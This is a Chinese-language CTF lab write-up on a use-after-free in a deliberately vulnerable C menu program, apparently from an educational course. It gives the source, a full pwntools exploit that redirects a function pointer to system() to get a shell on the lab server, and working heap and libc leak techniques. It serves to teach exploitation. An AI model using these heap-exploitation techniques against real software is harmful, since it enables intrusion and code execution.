---
# System prepended metadata

title: Simple PWN 0x38(Lab - UAF)
tags: [eductf, PWN, CTF]

---

# Simple PWN 0x38(Lab - UAF)
## Background
![圖片](https://hackmd.io/_uploads/ByxvsvNr6.png)

## Source code
:::spoiler
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void default_handle(char *event)
{
	printf("EVENT: get event named \"%s\"!\n", event);
}

struct entity
{
	char *name;
	char *event;
	void (*event_handle)(char *);
};

struct entity *entities[0x10];

int read_int()
{
	char buf[0x20];
	read(0, buf, 0x1f);
	return atoi(buf);
}

int get_idx()
{
	int idx = read_int();
	if (idx >= 0x10 || idx < 0)
		exit(0);
	return idx;
}

void memu()
{
	puts("1. register entity");
	puts("2. delete entity");
	puts("3. set name");
	puts("4. trigger event");
	printf("choice: ");
}

void register_entity()
{
	int idx;
	printf("Index: ");
	idx = get_idx();
	entities[idx] = malloc(sizeof(struct entity));
	entities[idx]->event_handle = default_handle;
	entities[idx]->event = "Default Event";
}

void delete_entity()
{
	int idx;
	printf("Index: ");
	idx = get_idx();
	if (entities[idx])
	{
		free(entities[idx]->name);
		free(entities[idx]);
	}
	else
		puts("Invalid index");
}

void set_name()
{
	int idx;
	int len;
	printf("Index: ");
	idx = get_idx();
	if (entities[idx])
	{
		printf("Nmae Length: ");
		len = read_int();
		if (len == 0)
			exit(0);
		entities[idx]->name = malloc(len);
		printf("Name: ");
		read(0, entities[idx]->name, len - 1);
	}
	else
		puts("Invalid index");
}

void trigger_event()
{
	int idx;
	printf("Index: ");
	idx = get_idx();
	if (entities[idx])
	{
		printf("Name: %s\n", entities[idx]->name);
		entities[idx]->event_handle(entities[idx]->event);
	}
}

int main(void)
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	printf("gift1: %p\n", &system);
	void *ptr = malloc(0x10);
	printf("gift2: %p\n", ptr);
	for (;;)
	{
		memu();
		int choice = read_int();
		switch (choice)
		{
		case 1:
			register_entity();
			break;
		case 2:
			delete_entity();
			break;
		case 3:
			set_name();
			break;
		case 4:
			trigger_event();
		default:
			puts("Invalid command");
		}
	}
	return 0;
}

```
:::
## Recon
這是個經典的表單題，總共有四種command(註冊entity / 刪除entity / 設定entity name / 觸發entitiy function pointer)，這種題目因為格局比較大，所以我都會先看哪裡有malloc或是free，首先

* ==註冊entity==→malloc
* ==設定entity name==→malloc
* ==刪除entity==→free

然後觀察一下題目一開始會給我們system的address，和一開始的heap address，並且最後可以觸發entity的function pointer，所以目標很清楚
==設法把function pointer的地址改成system，並且event的部分改成儲存`/sh\x00`的地址==
最後只要trigger就會自動開一個shell給我們

---
根據background，我們要利用的漏洞就是最後一個，也就是利用相同的大小，把已經free掉的部分拿回來加已利用
1. 先註冊兩個entity(0和1)，第0個是要利用的部分
    ![圖片](https://hackmd.io/_uploads/ryvTkuESp.png)
2. 把`/sh\x00`寫上entity
    ![圖片](https://hackmd.io/_uploads/S1Rmxu4Ha.png)
3. 刪除entity 0
    ![圖片](https://hackmd.io/_uploads/HkQKxuVB6.png)
4. 設定system的function pointer
    這要特別說明，前面三個步驟都算是正常的步驟，而如果我們設定entity的name，此時系統會malloc一塊空間寫我們輸入的entity name，以這一題來說就會是entity 0(只要大小設定的一樣就好)，因此我們可以寫入包含system address和`/sh\x00`的位置，最後再以entity 0的身分trigger該function pointer就可以拿到shell了
    ![圖片](https://hackmd.io/_uploads/rkM7Eu4r6.png)
    ```bash
    gef➤  x/gx 0x00007f706a449d70
    0x7f706a449d70 <__libc_system>: 0x74ff8548fa1e0ff3
    gef➤  x/s 0x560bb1125300
    0x560bb1125300: "sh"
    ```
5. 最後我們再利用entity 0的名義，trigger function pointer，就拿到shell了
## Exploit
```python
from pwn import *

# r = process('./chal')
r = remote('10.113.184.121', 10057)
context.arch = 'amd64'

def register(idx):
    r.recvuntil(b'choice: ')
    r.send(b'1')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())

def delete(idx):
    r.recvuntil(b'choice: ')
    r.send(b'2')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())

def set_name(idx, len, name):
    r.recvuntil(b'choice: ')
    r.send(b'3')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())
    r.recvuntil(b'Length: ')
    r.send(str(len).encode())
    r.recvuntil(b'Name: ')
    r.send(name)

def trigger_event(idx):
    r.recvuntil(b'choice: ')
    r.send(b'4')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())

# Fetch Info
r.recvuntil(b'gift1: ')
system_addr = int(r.recvline()[:-1], 16)
r.recvuntil(b'gift2: ')
heap_addr_leak = int(r.recvline()[:-1], 16)

log.info(f'System Address = {hex(system_addr)}')
log.info(f'Heap Address = {hex(heap_addr_leak)}')

# Exploit Payload
sh_addr = heap_addr_leak + 0x60
register(0)
register(1)
set_name(1, 0x10, b'sh\x00')
delete(0)
set_name(1, 0x18, p64(0) + p64(sh_addr) + p64(system_addr))

trigger_event(0)

r.interactive()
```
```bash
$ python exp.py
[+] Opening connection to 10.113.184.121 on port 10057: Done
[*] System Address = 0x7ff8cd719290
[*] Heap Address = 0x564243d7c2a0
[*] Switching to interactive mode
Name: (null)
$ cat /home/chal/flag.txt
flag{https://www.youtube.com/watch?v=CUSUhXqThjY}
```
## 同場加映
### 如何用UAF leak heap address?
主要的大方向是設法讓free的chunk進入tcache，這樣的話他就會儲存chunk address的info，我們再利用他沒有設為null的UAF漏洞，把他讀出來
```python
register(0)
register(1)
register(2)

delete(0)
delete(1)

set_name(2, 0x18, b'a')
trigger_event(2)
r.recvuntil(b'Name: ')
leak_heap = u64(r.recv(6).ljust(0x8, b'\x00'))
heap_base = leak_heap - 0x261
log.success(f'Leak heap address = {hex(leak_heap)}')
log.success(f'Heap base address = {hex(heap_base)}')
```

```bash
$ python exp.py
[+] Starting local process './chal': pid 5092

[+] Leak heap address = 0x564bd16ca261
[+] Heap base address = 0x564bd16ca000
[*] Switching to interactive mode

EVENT: get event named "Default Event"!
Invalid command
1. register entity
2. delete entity
3. set name
4. trigger event
choice: $
```

* 這一連串的command意思是他先註冊三個entity
    ![圖片](https://hackmd.io/_uploads/S1kJGysSa.png)
* Delete 前兩個entiti的時候，第一個8 bytes是next free chunk address，第二個8 bytes是key，此時我們就可以想辦法把這個heap address leak出來，從這邊可以看得出來
    ![圖片](https://hackmd.io/_uploads/Hky5fJira.png)
* 設定entity 2的name，要加這一段的原因是它會malloc一個0x20的chunk，此時他會從tcache中找，也就是直接找到==0x55e5a806b2e0==，而他在free的時候並沒有把chunk的內容洗掉，所以裡面還是會有chunk address，所以從下面的結果來看，entity 2的name已經指向==0x000055e5a806b2e0==，而這個地址的東西沒有洗掉，所以我們可以用trigger event的printf，leak出其中的內容
    ![圖片](https://hackmd.io/_uploads/HkYmVkjBT.png)
* 此時我們就可以把接收到的address，和vmmap中得到的heap base address扣掉拿到offset之後做後續的利用
    ![圖片](https://hackmd.io/_uploads/BkcoVksST.png)
    ![圖片](https://hackmd.io/_uploads/BkKZBkoST.png)
    ![圖片](https://hackmd.io/_uploads/SJG7rJjHT.png)

### 如何用UAF leak libc address?
主要的大方向是設法讓chunk進入unsorted bin中，這樣他就會儲存有關libc的資訊，之後我們再像前面的UAF方法一樣，把值leak出來
```python
## Leak libc address
for i in range(0x9):
    register(i)
    set_name(i, 0x88, b'a')

for i in range(0x9):
    delete(i)
    
for i in range(0x8):
    register(i)
    set_name(i, 0x88, b'a')

trigger_event(7)
r.recvuntil(b'Name: ')
leak_libc = u64(r.recv(6).ljust(0x8, b'\x00'))
libc_base = leak_libc - 0x1ecc61
system_addr = libc_base + 0x52290
log.success(f'Leak libc address = {hex(leak_libc)}')
log.success(f'Libc base address = {hex(libc_base)}')
log.success(f'System address = {hex(system_addr)}')
```
```bash
$ python exp.py
[+] Starting local process './chal': pid 5414

[+] Leak libc address = 0x7fd98248dc61
[+] Libc base address = 0x7fd9822a1000
[+] System address = 0x7fd9822f3290
[*] Switching to interactive mode

EVENT: get event named "Default Event"!
Invalid command
1. register entity
2. delete entity
3. set name
4. trigger event
choice: $
```

1. 首先要先構造chunks，為了要把tcache塞滿，我們要register 9個chunk，要9個的原因是之後free掉的時候最後一個會被top chunk consolidate，所以被丟到tcache的數量就不滿8個；另外為了要進到unsorted bin中，我們的大小就不能小於0x80，這樣會被丟到fastbin中，所以chunk的順序應該會是entity 0(0x20→0x90)→entity 1(0x20→0x90)...→entity 8(0x20→0x90)→top
    ![圖片](https://hackmd.io/_uploads/By5BNboSp.png)

    ![圖片](https://hackmd.io/_uploads/Sk1KXbirT.png)
2. 接著就是把東西全部free掉，試圖塞滿tcache，可以從下圖看到他的確把最後一個chunk(0x90)併到top chunk，
    ![圖片](https://hackmd.io/_uploads/ryMpBZoBa.png)
    
    從這張圖就很清楚了，entity 0~entity 6(0x20→0x5588cd8236e0 / 0x90→0x5588cd823700)，都已經放到tcache了，那entity 7呢，他剛好因為前後都要被free，所以整個entity 7就被consolidate成0xb0的大小，而且又因為大小不符合fastbin所以被分配到unsorted bin中；而沒什麼重要的entity 8呢?首先就如前面說的，entity 8的0x90被top chunk合併了，而0x20因為tcache滿了，所以放到fastbin了
    ![圖片](https://hackmd.io/_uploads/ryIXIZjB6.png)

3. 觀察一下最重要的unsorted bin放了啥，首先本質上，他的fd還是指向unsorted bin的位址，只是該位址同時也是libc中的位址，那如果我們把這個值print出來是否就可以觀察offset的關係
    ![圖片](https://hackmd.io/_uploads/BJa5wboHT.png)
4. 現在我們要想辦法拿到unsorted bin的這個chunk，所以當然要先拿完tcache的所有東西，接著再拿一次register和set_name的時候他就會分別到fastbin拿0x20的chunk和到unsorted bin中拿0x90
    最後的結果會像這樣，可以看到entitiy的前7個都是從tcache中拿取，可以和上面的結果對照，接著也和我們預想的一樣，0x20是從fastbin拿取，而進到0x20的chunk會發現他的name指向的位址，就是unsorted bin拿到的0x90 chunk，而再進到0x90 chunk也的確像我們所說，因為他沒有清掉裡面的內容所以還有殘留libc上的info
    ![圖片](https://hackmd.io/_uploads/Byg4FZsB6.png)
    
    實際追到要print的時候，會發現如同前面所說，他會print出這個libc address info，接著我們就可以事先算好libc offset和system offset，再做後續的利用
    ![圖片](https://hackmd.io/_uploads/ByuQ9ZjHp.png)
